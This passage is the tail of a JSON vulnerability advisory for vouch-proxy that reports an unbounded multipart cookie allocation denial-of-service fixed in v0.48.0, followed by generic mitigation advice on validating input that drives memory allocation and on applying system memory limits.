"url": "https://github.com/vouch/vouch-proxy/commit/fa18ce30ba50a4863a436acad044c22965329c4f"
},
{
"type": "PACKAGE",
"url": "https://github.com/vouch/vouch-proxy"
},
{
"type": "WEB",
"url": "https://github.com/vouch/vouch-proxy/releases/tag/v0.48.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "vouch-proxy has an Unbounded Multipart Cookie Allocation DoS"
}
Mitigation
Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.
Mitigation
Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.
No CAPEC attack patterns related to this CWE.